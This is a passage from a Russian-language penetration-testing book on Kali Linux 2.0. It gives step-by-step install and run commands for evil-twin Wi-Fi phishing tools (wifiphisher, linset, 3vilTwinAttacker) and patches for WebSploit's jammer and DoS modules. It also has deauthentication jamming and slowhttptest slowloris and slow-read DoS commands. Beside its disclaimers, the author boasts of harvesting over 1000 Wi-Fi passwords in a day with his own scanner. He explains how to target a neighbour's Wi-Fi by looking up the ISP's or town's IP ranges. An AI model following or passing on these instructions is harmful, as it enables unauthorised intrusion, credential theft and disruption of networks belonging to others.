Добавлена проверка на наличие pixiewps, модифицированного reaver, и других
обязательных для установки программ.



Добавлена проверка на необходимость обновления перед выполнением.

По материалам сайта WebWare.biz

154

Тестирование на проникновение с помощью Kali Linux 2.0


Добавлена опция динамически спуфить подсоединённого клиента во время
запущенной атаки.



Добавлена опция автоматически пропускать ранее взломанные ТД (вместо
запроса).



Добавлена запись для отдельных точек доступа (клиенты, сила сигнала, хеши,
найденные пины и т. д.).

Возможно, будет реализовано в дальнейшем


Добавлена
возможность
загружать
модифицированный reaver из github



Добавлена поддержка mdk3



Добавлены вычисления дефолтных пинов и опций.

и

устанавливать

pixiewps

и

Глава 24. Взлом Wi-Fi сетей: инструменты, которые не попали в
Kali Linux
Если у вас какие-либо проблемы с беспроводными устройствами, то следует
ознакомиться с Главой 19. Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры
По материалам сайта WebWare.biz

155

Тестирование на проникновение с помощью Kali Linux 2.0

Kali Linux включает большой комплект инструментов предназначенных, по большей
части, для тестирования на проникновение. Разработчики Kali следят за выходом новых
инструментов и даже предлагают всем желающим рекомендовать новые программы,
которые они ещё не включили.
Благодаря такой открытости и обратной связи, в Кали есть практически всё, что нужно
подавляющему большинству пентестеров. Тем не менее, есть немало
программ которые они пропустили или сознательно не включают в свой дистрибутив. Я
хочу рассказать о четырёх таких программах. Каждая из них предназначена для атаки
на беспроводные сети (Wi-Fi). Каждая из них имеет в своём функционале особенности,
которые не сводятся к возможностям уже доступных программ.
Важно отметить, что в этой заметке не ставится задача научить пользоваться этими
программами. Для этого нужны отдельные многостраничные мануалы. Главная цель —
это информационная, т. е. просто привлечь к ним внимание.
Глядя на некоторые из этих программ и думая «почему они не попали в Kali?», я
вспоминаю шутку: «его выгнали из спецназа… за избыточную жестокость». Я публикую
эту информацию на следующих условиях:


она предназначена для образовательных целей;



она предназначена для демонстрации угроз в отношении беспроводных сетей;



она предназначена для аудита собственных беспроводных сетей и устройств;
либо сетей других лиц только после получения (письменного) разрешения от
них;



если вы не поняли/не прочитали/не стали прислушиваться к вышеприведённым
пунктам, то вы самостоятельно несёте ответственность за возможные
последствия.

Взлом и даже атаки (попытки взлома) беспроводных сетей, а также перехват учётных
данных и другой персональной информации, являются правонарушениями или даже
преступлениями. За них в законодательстве предусмотрена ответственность, вплоть
до уголовной. Всё, что вы делаете, вы делаете на свой страх и риск — я за ваши
действия и их последствия не отвечаю.
Чтобы наши новые программы не валялись по всему диску, в домашнем
каталоге создадим специальную папку для них. И все сторонние программы будем
ставить в этот каталог:
1|

cd ~

2|

mkdir opt

wifiphisher
Официальная страничка: https://github.com/sophron/wifiphisher
Wifiphisher предназначена для фишинговой атаки на WiFi сети в целях получения
паролей от ТД и другой персональной информации. Этот инструмент основан на атаке
социальной инженерии. Т.е. эта программа не содержит каких либо инструментов для
брутфорсинга. Это простой способ получить учётные данные от сайтов или пароли от
WPA/WPA2.
Wifiphisher работает на Kali Linux и распространяется по MIT лицензии.
По материалам сайта WebWare.biz

156

Тестирование на проникновение с помощью Kali Linux 2.0

Если смотреть глазами жертвы, то атака включает три фразы:
1. Жертва деаутентифицируется от её точки доступа. Wifiphisher постоянно
заминает все точки доступа устройств wifi в радиусе действия посредством
отправки деаутентифицирующих (deauth) пакетов клиенту от точки доступа и
точке доступа от клиента, а также широковещательному адресу.
2. Жертва подсоединяется к подменной точке доступа. Wifiphisher сниффет
пространство и копирует настройки целевых точек доступа. Затем она создаёт
подменную ТД, которая смоделирована для цели. Она также устанавливает
NAT/DHCP сервер и перенаправляет правильные порты. Следовательно, из-за
помех клиенты начнут подсоединяться к подменной точке доступа. После этого
жертва подвергается атаки человек-по-середине.
3. Для жертвы будет отображена реалистично выглядящая страница
конфигурации роутера. wifiphisher поднимает минимальный веб-сервер и
отвечает на HTTP & HTTPS запросы. Как только жертва запросит страницу из
Интернета, wifiphisher в ответ отправит реалистичную поддельную страницу,
которая спросит пароль, для, например, одной из задач, которые требуют
подтверждение WPA пароля во время обновления прошивки.

Требования для wifiphisher
Нужны две сетевые карты, причём одна с поддержкой инжекта.
Программа использует пакет hostapd, поэтому, если он отсутствует, установите его:
1|

apt-get install hostapd

Установка и запуск wifiphisher
1|

cd ~/opt

2|

git clone https://github.com/sophron/wifiphisher

3|

cd wifiphisher/

Запускаем так:
1|

python wifiphisher.py

По материалам сайта WebWare.biz

157

Тестирование на проникновение с помощью Kali Linux 2.0

По материалам сайта WebWare.biz

158

Тестирование на проникновение с помощью Kali Linux 2.0

Как противостоять wifiphisher
Для выявления самых разных атак, в том числе связанных с попыткой разорвать
существующие соединения и подключить клиентов к подложным точкам доступа,
можно использовать программу waidps. Продолжаем чтение.

waidps
Домашняя страница: https://github.com/SYWorks/waidps
waidps — мощный комбайн, первый взгляд на который может вызвать растерянность. Я
не буду даже пытаться в этой короткой заметке осветить порядок работы — на сайте
автора для этой цели написано большое количество многостраничных инструкций.
Количество команд в этой программе просто умопомрачительное. Поэтому я только
расскажу о главных функциях и о процессе установки. Всё остальное — в отдельных
статьях.
Кроме обычных функций по аудиту беспроводных сетей, waidps способна выявлять
атаки на беспроводные ТД. Я не знаю других программ с подобным функционалом.
WAIDPS — это программа с открытым кодом, написанная на Python и работающая в
окружении Linux. Точные зависимости не указаны, но при запуске в Kali, программа
создаёт/копирует необходимые базы данных и сразу же готова к работе. Т.е. в Kali
Linux присутствуют все необходимые компоненты для этой программы. Это
многоцелевой инструмент, созданный для аудита (тестирования на проникновение)
сетей, обнаружения беспроводного вторжения (атаки WEP/WPA/WPS) а также
предотвращения вторжения (остановка связи станции с точкой доступа). Кроме этого,
программа будет собирать всю WiFi информацию в округе и сохранять в базах данных.
Она будет полезной когда настанет время аудита сети: если точка доступа с
включённым «фильтром по MAC» или «скрытым SSID» и не было ли клиентов на
интересующие момент.
WAIDS пригодится тестерам на проникновение, тренерам по беспроводным сетям,
правоохранительным органам и всем тем, кто интересуется беспроводным аудитом и
проникновением. Главная цель этого скрипта — это выявление вторжения. Когда оно
обнаружено, скрипт отображает информацию на экране, а также записывает в журнал.
На данный момент WAIDS способна обнаружить следующие беспроводные атаки (это в
дополнении к тем, которые обнаруживает WIDS):


Association / Authentication flooding



Выявление массовых деаутентификаций, которые могут сигнализировать о
возможной атаке на WPA для перехвата рукопожатий



Выявление возможных атак WEP с использованием ARP запросов методом
воспроизведение



Выявление возможных атак WEP с использованием метода chopchop



Выявление возможных атак перебором WPS пина с использованием Reaver,
Bully и т.д.



Выявление Злого-Двойника (Evil-Twin)



Выявление мошеннической точки доступа

По материалам сайта WebWare.biz

159

Тестирование на проникновение с помощью Kali Linux 2.0

Установка и запуск waidps
1|

cd ~/opt

2|

git clone https://github.com/SYWorks/waidps

3|

cd waidps

4|

python waidps.py

Фрагментация:

Фрагментация воспроизведение:

По материалам сайта WebWare.biz

160

Тестирование на проникновение с помощью Kali Linux 2.0

Chopchop:

Chopchop воспроизведение:

По материалам сайта WebWare.biz

161

Тестирование на проникновение с помощью Kali Linux 2.0

Chopchop выбор:

3vilTwinAttacker
Домашняя страница: https://github.com/P0cL4bs/3vilTwinAttacker
Этот инструмент создаёт мошенническую точку доступа Wi-Fi, якобы для обеспечения
беспроводных услуг Интернет, а на самом деле следящую за трафиком.
Программные зависимости:


Рекомендуется использовать на Kali linux.



Ettercap.



Sslstrip.



Airbase-ng включённая в aircrack-ng.



DHCP.



Nmap.

Установка и запуск 3vilTwinAttacker
1|

cd ~/opt

2|

git clone https://github.com/P0cL4bs/3vilTwinAttacker

3|

cd 3vilTwinAttacker

4|

chmod +x install.sh

По материалам сайта WebWare.biz

162

Тестирование на проникновение с помощью Kali Linux 2.0

5|

./install.sh --install

Запускаем:
1|

python 3vilTwin-Attacker.py

Или так (на Kali Linux):
1|

python /usr/share/3vilTwinAttacker/3vilTwin-Attacker.py

[установка DHCP в Debian и производные]
Ubuntu:
1|

$ sudo apt-get install isc-dhcp-server

Kali linux:
1|

apt-get install isc-dhcp-server

[установка DHCP в redhat и производные]
Fedora:
1|

$ sudo yum install dhcp

По материалам сайта WebWare.biz

163

Тестирование на проникновение с помощью Kali Linux 2.0

linset
Домашняя страница: https://github.com/vk496/linset
linset — это Баш скрипт атаки методом "злой двойник" (Evil Twin Attack).

Установка и запуск linset
У этой программы есть ряд зависимостей. Часть необходимых для неё компонентов
уже присутствуют в Kali Linux (либо вы ставили их для других программ). Но часть
необходимо предварительно установить. Для Кали это следующие пакеты:
1|

apt-get install isc-dhcp-server lighttpd macchanger php5-cgi macchanger-gtk

На других дистрибутивах может возникнуть необходимость установить
дополнительные программы. linset при запуске сама проверит, что установлено, а что
нет и выведет соответствующийсписок.
Далее как обычно:
1|

cd ~/opt

2|

git clone https://github.com/vk496/linset

3|

cd linset

4|

chmod +x linset ./linset

По материалам сайта WebWare.biz

164

Тестирование на проникновение с помощью Kali Linux 2.0

Как работает linset


Сканирует сети



Выбирает сеть



Захватывает рукопожатие (можно использовать без рукопожатия)



Мы можем выбрать один из нескольких веб-интерфейсов



Делается фальшивая ТД, подражающая оригиналу



На фальшивой ТД создаётся DHCP сервер



Создаётся DNS сервер для перенаправления всех запросов на Хост



Запускается веб-сервер с выбранным интерфейсом



Запускается механизм проверки валидность паролей, которые были введены



Деаутентификация всех пользователей сети, в надежде, что кто-то подключится
к фальшивой ТД



Атака прекратиться, как только проверка выявит правильны пароль

Глава 25. Router Scan by Stas’M на Kali Linux (взлом роутеров и
Wi-Fi в промышленных масштабах)
Между прочим, этот самый Router Scan от Stas'M — потрясающая штука! Перечень его
функций вы можете посмотреть на официальной страничке. Мне же больше всего
нравится в этой программе:


сканирование, при котором показываются как роутеры, так и другие аппаратнопрограммные элементы (камеры, серверы и пр.)



перебор типичный паролей для найденных роутеров



использование эксплойтов для ряда роутеров



если получилось подобрать пароль или сработал эксплойт, то парсится вся
информация, которую удалось достать. А это, обычно, логин-пароль, пароль от
Wi-Fi, данные локальной сети и т. д.

Программа уникальна тем, что, в лучших традициях графических интерфейсов, нужно
нажать одну кнопку и она всё сделает сама. Никаких знаний не нужно.
Программа мне понравилась до такой степени, что я стал искать альтернативы для
Linux. Альтернатив я не нашёл.
Но главная идея этой программы — сканировать сеть и искать роутеры с дефолтными
паролями или со слабыми прошивками — мне показалась настолько потрясающей, что
захотелось сделать что-то подобное для Linux. Это задача средней сложности, т. е.
вполне достижимая. Благо большинство модулей уже есть готовые: nmap (для
сканирования портов) + curl (для аутентификации и применения эксплойтов) + grep
(для парсинга страниц аутентификации (при определении модели роутера) и парсинга
паролей и прочих полезных вещей при удачном подборе пароля/применении
эксплойта).

По материалам сайта WebWare.biz

165

Тестирование на проникновение с помощью Kali Linux 2.0

У меня даже получилось сделать рабочий концепт, который насобирал для меня за
день более 1000 паролей Wi-Fi. Концепт получился жутко медленным: сканер написан
на PHP, причём написан без каких либо оптимизаций — всё делается в один поток, да
при этом сканер реализован на попытке установить сокетное соединение. Т.е. если
соединение происходит — значит начинает пробовать стандартные пароли и вынимать
информацию из роутера в случае успеха. Если соединение не происходит — то
программа ждёт, пока пройдёт время по таймауту. Понятно, что чаще соединение не
происходит и, как следствие, почти всё время программа ждём окончания таймаутов.
Всё это можно ускорить и оптимизировать, добавить новые модели роутеров. В
общем, если за лето будет достаточно времени, чтобы доделать (хоть на базе nmap,
хоть на базе PHP) до уровня «не стыдно показать исходный код», то обязательно
поделюсь своими наработками. Благо что алгоритмы эксплойтов, которые
применяются в сканере роутеров от Stas'M, доступны в виде исходных текстов и их
вполне можно переписать под curl.

По материалам сайта WebWare.biz

166

Тестирование на проникновение с помощью Kali Linux 2.0

Вернёмся к Router Scan от Stas'M. Он шикарный! С его помощью вы сами можете
насобирать уйму паролей от роутеров, от сетей Wi-Fi и узнать много нового о сетях и об
обитающих там устройствах.
Если вы пользователь Windows, то для вас всё совсем просто — скачиваете, запускаете,
вводите диапазон адресов и ждёте окончания сканирования.
Для пользователей Linux также возможен запуск программы Router Scan от Stas'M под
Wine. Я покажу как это сделать на примере Kali Linux.

Установка Wine в Kali Linux
Внимание, если у вас Kali 2.0, то перейдите к инструкции "Установка Wine в Kali Linux
2.0".
Если посмотреть информацию о пакете Wine в Kali Linux, то там будет указано, что
пакет уже установлен. Если попытаться его запустить, то выясниться, что это всегонавсего заглушка, которая и рассказывает как провести установку. Вся установка
делается тремя командами:
1|

dpkg --add-architecture i386

2|

apt-get update

3|

apt-get install wine-bin:i386

Далее скачиваете Router Scan от Stas M (http://stascorp.com/load/1-1-0-56),
распаковываете (в любое место), кликаете правой кнопкой по файлу RouterScan.exe, в
контекстном меню выбираете «Открыть с помощью Wine…», а дальше всё как на
Windows.
Вот пример работы Router Scan от Stas'M в Linux (сканирую диапазоны адресов моего
родного города Муром):

По материалам сайта WebWare.biz

167

Тестирование на проникновение с помощью Kali Linux 2.0

Только хорошие результаты:

Если кто-то не до конца уловил принципы работы программы:


программе не нужен Wi-Fi приёмник или что-то ещё — она работает по
проводному соединению;



чтобы попытаться взломать соседский Wi-Fi (а не на другом конце света), то
нужно знать IP соседа или, хотя бы, диапазон IP интернет-провайдера соседа.
Можно воспользоваться вот этим сервисом, чтобы узнать диапазоны
принадлежащих провайдерам IP, либо диапазоны IP населённых пунктов.

Если ещё кому-то понадобиться отфильтровать диапазоны IP с сайта ipgeobase.ru, то
можно сделать так:
1|

curl -s 'URL' | grep -o -E '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3} - [0-9]{1,3}.[0-9]{1,3}.[09]{1,3}.[0-9]{1,3}' > diap_ip.txt

Где вместо 'URL' введите адрес страницы на ipgeobase.ru, которую нужно пропарсить.

Глава 26. Чиним Wifi_Jammer и Wifi_DoS в WebSploit
Wifi_Jammer не работает (сбрасывается через несколько секунд)
Если вы прямо сейчас попытаетесь воспользоваться модулями Wifi_Jammer или
Wifi_DoS в WebSploit, то вас ждёт разочарование — после настройки всех опций и
попытке запуска, модули вылетают через пару секунд. Те, кто читают WebWare.biz,
наверное, уже догодались, что проблема в изменении имени интерфейса, которая
произошла после обновления покета aircrack-ng. А ещё более догадливые уже могли
попробовать сделать так:
1|

set mon wlan0mon

По материалам сайта WebWare.biz

168

Тестирование на проникновение с помощью Kali Linux 2.0

К сожалению, этот фокус не работает:

Дело в том, что в скрипте установлен размер принимаемой строки и имя обрезалось до
wlan… Какая нелепая смерть.
Давайте отремонтируем наш Wifi_Jammer, а заодно уж и Wifi_DoS.
Прежде чем приступить, сделаем резервную копию файла, который мы сейчас будем
редактировать(все записывается в одну строку):
1|

cat /usr/share/websploit/modules/wifi_jammer.py >
/usr/share/websploit/modules/wifi_jammer.py.bak cat
/usr/share/websploit/modules/wifi_jammer.py >
/usr/share/websploit/modules/wifi_jammer.py.bak

А теперь откройте файл /usr/share/websploit/modules/wifi_jammer.py
1|

vim /usr/share/websploit/modules/wifi_jammer.py

Найдите там строчки:
1|

elif com[0:7] =='set mon':

2|

options[3] = com[8:12]

И замените на (заменять нужно только вторую строку, первая дана для ориентации в
тексте программы):
1|

elif com[0:7] =='set mon':

2|

options[3] = com[8:]

По материалам сайта WebWare.biz

169

Тестирование на проникновение с помощью Kali Linux 2.0

Перезапустите WebSploit и уже прямо сейчас можете работать с Wifi_Jammer. Конечно
же, теперь не забывайте вводить set mon wlan0mon.

Wifi_DoS не работает (выдаёт ошибку через несколько секунд после
начала работы)
Wifi_DoS — он перестал работать ещё раньше.
Сразу после запуска он выдаёттакую ошибку:
1|

Traceback (most recent call last):

2|

File "/usr/bin/websploit", line 160, in

3|

start()

4|

File "/usr/bin/websploit", line 158, in start

5|

main()

6|

File "/usr/bin/websploit", line 132, in main

7|

main()

По материалам сайта WebWare.biz

170

Тестирование на проникновение с помощью Kali Linux 2.0

8|

File "/usr/bin/websploit", line 122, in main

9|

wifi_dos.wifi_dos()

10|

File "/usr/share/websploit/modules/wifi_dos.py", line 31, in wifi_dos

11|

wifi_dos()

12|

File "/usr/share/websploit/modules/wifi_dos.py", line 27, in wifi_dos

13|

wifi_dos()

14|

File "/usr/share/websploit/modules/wifi_dos.py", line 39, in wifi_dos

15|

wifi_dos()

16|

File "/usr/share/websploit/modules/wifi_dos.py", line 76, in wifi_dos

17|

os.chdir("temp")

18|

OSError: [Errno 2] No such file or directory: 'temp'

А сейчас ещё и новая ошибка — в точности как у Wifi_Jammer. Т.е. у него проблем
больше и, следовательно, больше костылей. Приступим чинить Wifi_DoS.
1|

mkdir /root/temp && touch /root/temp/blacklist

Этот каталог не удаляйте, или создавайте перед каждым запуском Wifi_DoS.
Сам WebSploit теперь нужно запускать так:
1|

cd ~ && websploit

Прежде чем приступить, сделаем резервную копию файла, который мы сейчас будем
редактировать:
1|

cat /usr/share/websploit/modules/wifi_dos.py >
/usr/share/websploit/modules/wifi_dos.py.bak

Теперь открываем файл /usr/share/websploit/modules/wifi_dos.py
1|

vim /usr/share/websploit/modules/wifi_dos.py

Находим там строчки:
1|

elif com[0:7] =='set mon':

2|

options[3] = com[8:12]

И заменяем их на:
1|

elif com[0:7] =='set mon':

2|

options[3] = com[8:]

И ещё ищем строки:
1|

elif com[0:3] =='run':

2|

cmd_0 = "airmon-ng stop " + options[3]

И меняем их на:
1|

elif com[0:3] =='run':

2|

cmd_0 = "airmon-ng stop " + options[0]

После этого всё должно работать.
По материалам сайта WebWare.biz

171

Тестирование на проникновение с помощью Kali Linux 2.0

Глава 27. Стресс-тест беспроводной сети с Wifi_Jammer: как
глушить Wi-Fi
Если у вас какие-либо проблемы с беспроводными устройствами, то следует
ознакомиться с Главой 19. Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры

Возможно ли глушить Wi-Fi
Вы (или ваша организация) ответственно подошли к настройке беспроводных точек
доступа (Wi-Fi): воспользовались подсказками по настройке роутера, в первую очередь,
отключили WPS и придумали очень сложный пароль. Значит ли это, что теперь можно
расслабиться? Нет, у злоумышленников, как минимум, ещё пара трюков в рукаве —
DoS и глушение Wi-Fi. Даже если они не смогут проникнуть в вашу сеть, они могут
воспрепятствовать её нормальной работе.
Эта инструкция описывает глушение Wi-Fi, предназначенный для стресс-теста вашей
беспроводной сети, чтобы вы могли оценить имеющиеся угрозы и предпринять
превентивные меры безопасности.

Как правильно запустить Wifi_Jammer
После обновления Aircrack-ng изменилось имя беспроводного интерфейса. К
сожалению, Wifi_Jammer перестал работать. Но это легко можно исправить коррекцией
одной строки. Посмотрите подробности в Главе 26. Чиним Wifi_Jammer и Wifi_DoS в
WebSploit. Если вы уже отредактировали исходный код Wifi_Jammer, то можно
продолжать.
Посмотрим имя нашего интерфейса:
1|

airmon-ng

Следующую команду запускаем так: airmon-ng start имя_интерфейса. У меня так:
1|

airmon-ng start wlan0

По материалам сайта WebWare.biz

172

Тестирование на проникновение с помощью Kali Linux 2.0

Обратите внимание, у меня появилось предупреждение (у вас его может и не быть):
1|

Found 2 processes that could cause trouble.

2|

If airodump-ng, aireplay-ng or airtun-ng stops working after

3|

a short period of time, you may want to kill (some of) them!

4|

PID Name

5|

3036 NetworkManager

6|

3187 dhclient

Программа предупреждает, что имеются конфликты с другими приложениями и что
если airodump-ng, aireplay-ng или airtun-ng останавливают работу после короткого
времени, то мне нужно остановить названные процессы. Это можно сделать так (у вас
могут быть свои цифры — посмотрите на PID):
1|

kill 3036

2|

kill 3187

Продолжаем:
1|

airodump-ng wlan0mon

По материалам сайта WebWare.biz

173

Тестирование на проникновение с помощью Kali Linux 2.0

Я буду тренироваться на своей собственной ТД — она в самом вверху.

Запускаем WebSploit
1|

websploit

Задействуем плагин wifi_jammer:
1|

wsf > use wifi/wifi_jammer

По материалам сайта WebWare.biz

174

Тестирование на проникновение с помощью Kali Linux 2.0

Вам обязательно нужно «отремонтировать» модуль wifi_jammer, поскольку после
обновления сторонних программ, он стал неработоспособным. Подробности, а также
как вернуть его в строй написано в этой инструкции.
Посмотрим на его опции :
1|

wsf:Wifi_Jammer > show options

Нам нужно задать essid, bssid, channel и mon. Эти данные можно взять из вывода
airodump-ng.
1|

wsf:Wifi_Jammer > set essid Mial

2|

wsf:Wifi_Jammer > set bssid 20:25:64:16:58:8C

3|

wsf:Wifi_Jammer > set channel 11

Также обязательно:
1|

wsf:Wifi_Jammer > set mon wlan0mon

Обратите внимание, что здесь нет вариантов, устанавливать значение нужно именно в
wlan0mon.
Запускаем командой run:
1|

wsf:Wifi_Jammer > run

Контролировать процесс можно двумя способами. Первый — просто убедиться, что
ваши устройства больше не подключены к беспроводной сети Wi-Fi. Второй — с
помощью команды airodump-ng wlan0mon. Обратите на такое поле её вывода как
PWR. Его значение при нормальной работе находилось в районе 40.
После начала атаки значение PWR составляет 0 и до самого конца атаки не
поднимается. Сеть Wi-Fi в это время недоступна.

В данном примере мы глушили одну точку доступа, возможно глушить сразу все ТД,
например, этой программой.
По материалам сайта WebWare.biz

175

Тестирование на проникновение с помощью Kali Linux 2.0

Суть атаки заключается в непрерывной отправке пакетов деаутентификации.

Борьба с глушением Wi-Fi


Говорят, есть модели роутеров, которые не обращают внимание на
широковещательные пакеты деаутентификации. Возможно, стоит поискать
подобные модели.



Во время атаки нужно понимать, что атакующий должен находиться в
непосредственной близости — не более чем в нескольких сотнях метров.



Можно настроить автоматический выбор канала в точке доступа. Это должно
затруднить атаку, т. к. атакующий должен будет заботиться о переключении
каналов.



Радикальное решение — купить проводной роутер.

Используйте полученные данные только в благих целях. Это оградит вас и других
людей от проблем.

Глава 28. Стресс-тест беспроводной сети с Wifi_DoS: как досить
Wi-Fi
Если у вас какие-либо проблемы с беспроводными устройствами, то следует
ознакомиться с Главой 19. Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры
У Wifi_DoS очень много общего с Wifi_Jammer, о котором рассказано в предыдущей
статье («Стресс-тест беспроводной сети с Wifi_Jammer: как глушить Wi-Fi»). На самом
деле, почти все команды одинаковые, кроме парочки новых. Поэтому, если вам не
хватает каких-то подробностей или скриншотов, то посмотрите статью, на которую чуть
выше дана ссылка.
Данная информация предназначена для оценки потенциальных рисков DoS-атаки
Wi-Fi и выработки мер противодействия на основе полученных результатов.
Помните, вся ответственность за реализацию описанного здесь лежит на вас. Не
нарушайте законы и права других лиц — именно так можно избежать большого
количества проблем.
По материалам сайта WebWare.biz

176

Тестирование на проникновение с помощью Kali Linux 2.0

Как запустить Wifi_DoS
Глядя в исходный код Wifi_DoS, у меня появляются сомнения — работал ли он вообще
когда-нибудь? Возможно, у кого-то и получалось запустить, но в определённых
условиях. Там есть несколько неточностей, которые обязательно нужно исправить для
нормальной работы. Поэтому начните со статьи «Чиним Wifi_Jammer и Wifi_DoS в
WebSploit», а затем возвращайтесь сюда.
Посмотрим имя беспроводного интерфейса и переведём беспроводную карту в режим
монитора, чтобы собрать необходимые для DoS-атаки данные.
1|

airmon-ng

2|

airmon-ng start wlan0

Смотрим список доступных сетей и необходимые нам данные:
1|

airodump-ng wlan0mon

WebSploit теперь нужно запускать так:
1|

cd ~ && websploit

Включаем использование модуля wifi_dos:
1|

use wifi/wifi_dos

Задаём необходимые данные:
1|

wsf:Wifi_Dos > set essid Mial

2|

wsf:Wifi_Dos > set bssid 20:25:64:16:58:8C

3|

wsf:Wifi_Dos > set channel 11

А здесь внимательнее, прочитайте рекомендацию ниже:
1|

wsf:Wifi_Dos > set interface wlan0

2|

wsf:Wifi_Jammer > set mon wlan0mon

Здесь могут быть варианты. interface — wlan0 или что-то другое, что у вас отображается
по команде airmon-ng. Значение mon всегда wlan0mon — здесь без вариантов.

Т.е., например, у меня рабочая конфигурация выглядит так:

По материалам сайта WebWare.biz

177

Тестирование на проникновение с помощью Kali Linux 2.0

Запускаем:
1|

wsf:Wifi_Jammer > run

DoS Wi-Fi в действии, все беспроводные устройства потеряли связь с точкой доступа:

По материалам сайта WebWare.biz

178

Тестирование на проникновение с помощью Kali Linux 2.0

Часть 4. Стресс-тесты сети
Глава 29. Стресс-тест сети (DoS веб-сайта) со SlowHTTPTest в Kali
Linux: slowloris, slow body и slow read атаки в одном
инструменте
Стресс-тесты сети могут дать важные данные о проблемах, связанных с
производительностью сервера, о неправильной (недостаточной) его настройке. Даже
чтобы проверить, правильно ли настроен и работает mod_evasive пригодятся утилиты
для имитации DoS атак.
Связанные статьи по защите веб-сервера:


Как усилить веб-сервер Apache с помощью mod_security и mod_evasive на
CentOS

Связанные статьи по DoS:


Стресс-тест сети с Low Orbit Ion Cannon (LOIC)



Стресс-тест сети (DoS веб-сайта) с SlowHTTPTest в Kali Linux: slowloris, slow body и
slow read атаки в одном инструменте (вы её читаете)

SlowHTTPTest — это имеющий множество настроек инструмент, симулирующие
некоторые атаки отказа в обслуживании (DoS) уровня приложения. Он работает на
большинстве платформ Linux, OSX и Cygwin (Unix-подобное окружение и интерфейс
командной строки для Microsoft Windows).
Эта программа реализует наиболее общие замедляющие работу сети DoS атаки уровня
приложений, такие как Slowloris, атака slow body, атака Slow Read (на основе эксплойта
постоянного таймера TCP), она занимает весь доступный пул подключений, а также
атака Apache Range Header, которая становится причиной очень значительного
использования памяти и центрального процессора на сервере.
Slowloris и Slow HTTP POST DoS атаки полагаются на факт, что HTTP, намеренно, требует
от запросов быть полученными сервером полностью до того, как они будут
обработаны. Если запрос HTTP неполон или скорость его пересылки очень медленная,
По материалам сайта WebWare.biz

179

Тестирование на проникновение с помощью Kali Linux 2.0

сервер сохраняет своио ресурсы занятыми, ожидая оставшихся данных. Если сервер
поддерживает слишком много занятых ресурсов, то это влечёт отказ в обслуживании.
Этот инструмент отправляет частичные запросы HTTP, пытаясь добиться отказа в
обслуживании от целевого HTTP сервера.
Атака Slow Read нацелена на те же ресурсы, что и slowloris со slow body, но вместно
продлевания запроса, она отправляет легитимные HTTP запросы, но ответы читает
медленно.

Установка SlowHTTPTest
Установка для пользователей Kali Linux
Для пользователей Kali Linux установка через apt-get .. (жизнь хороша!)
1|

apt-get install slowhttptest

Для других дистрибутивов Linux
Инструмент распространяется как портативный пакет, т. е. просто загрузите последний
тарбол из секции загрузки, извлеките, настройте, скомпилируйте и установите.
Этот набор команд делает следующее: скачивает самую последнюю версию
SlowHTTPTest, распаковывает её и переходим в каталог с программой:
1|

(t=`curl -s https://code.google.com/p/slowhttptest/downloads/list | grep -E -o
'//slowhttptest.googlecode.com/files/slowhttptest(.)*.tar.gz" onclick="' | sed 's/\/\///' |
sed 's/" onclick="//' | head -1`; curl -s $t -o slowhttptest-last.tar.gz) && tar -xzvf
slowhttptest-last.tar.gz && cd slowhttptest-*

Т.е. теперь только остаётся выполнить конфигурацию, компиляцию и установку.
По материалам сайта WebWare.biz

180

Тестирование на проникновение с помощью Kali Linux 2.0

Для тех, кто предпочитает скачать архив вручную, переходите сюда.
1|

$ tar -xzvf slowhttptest-x.x.tar.gz

2|

$ cd slowhttptest-x.x

3|

$ ./configure --prefix=PREFIX

4|

$ make

5|

$ sudo make install

Здесь PREFIX должен быть заменён на абсолютный путь, где инструмент slowhttptest
должен быть установлен.
У вас должна быть установлена libssl-dev для успешной компиляции этого инструмента.
Большинство систем должны иметь его.

Mac OS X
Используем Homebrew:
1|

brew update && brew install slowhttptest

Linux
Попробуйте ваш любимый пакетный менеджер, некоторые из них знают о slowhttptest
(как Kali Linux).

Использование SlowHTTPTest
slowhttptest это потрясающий инструмент, который позволяет делать многие вещи.
Далее только несколько примеров использования.
Пример использования в режиме slow body a.k.a R-U-Dead-Yet, результаты только
выводятся на экран:
1|

slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.1.37/info.php x 10 -p 3

Тоже самое, но график сохраняется в файл:
1|

lowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u
http://192.168.1.37/info.php -x 10 -p 3

По материалам сайта WebWare.biz

181

Тестирование на проникновение с помощью Kali Linux 2.0

А это тесты памяти, которые я проводил с интервалами в несколько секунд на сервере,
который подвергался атаке. Первый замер сделан до атаки, последующие — во время.
Видно, что количество свободной памяти уменьшалось очень стремительно вплоть до
того момента, пока сервер не лёг.

Пример использования в режиме slow headers a.k.a. Slowloris:
1|

slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u http://192.168.1.37/info.php -x 24 -p 3

Тоже самое, но график сохраняется в файл:
1|

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u
http://192.168.1.37/info.php -x 24 -p 3

Всё очень похоже: сервер лёг и больше не поднимался:

По материалам сайта WebWare.biz

182

Тестирование на проникновение с помощью Kali Linux 2.0

Пример использования в режиме Slow Read через прокси.
Здесь x.x.x.x:8080 — это прокси, который используется для доступа к веб-сайту с IP
отличного от вашего:
1|

slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://192.168.1.37/info.php -p 5 -l
350 -e x.x.x.x:8080

Сервер в нокауте:

По материалам сайта WebWare.biz

183

Тестирование на проникновение с помощью Kali Linux 2.0

Вывод по SlowHTTPTest
В зависимости от выбранного уровня детальности, вывод может быть как простым в
виде генерируемых каждый 5 секунд сообщений, показывающих статус соединений
(это при уровне 1), так и полным дампом трафика (при уровне детальности 4).
-g опция означает создание файла CSV, а также интерактивного HTML, основанного на
инструментах Google Chart.
Приведённые выше скриншоты показывают состояние соединений и доступность
сервера на различных этапах времени, а также дают общую картину поведения
конкретного сервера под конкретной нагрузкой во время заданного временного
интервала.
Файл CSV может быть полезен в качестве источника для вашего любимого инструмента
по работе с данными, среди них могут быть MS Excel, iWork Numbers или Google Docs.
Последнее сообщение, которые выводит программа при закрытии, этот статус
завершения, они могут быть следующими:


“Hit test time limit” программа достигла лимита времени, заданного аргументом
-l



“No open connections left” пир закрыл все соединения



“Cannot establish connection” не было установлено соединений за время N
секунд теста, где N или величина аргумента -i, или 10 (значение по умолчанию).
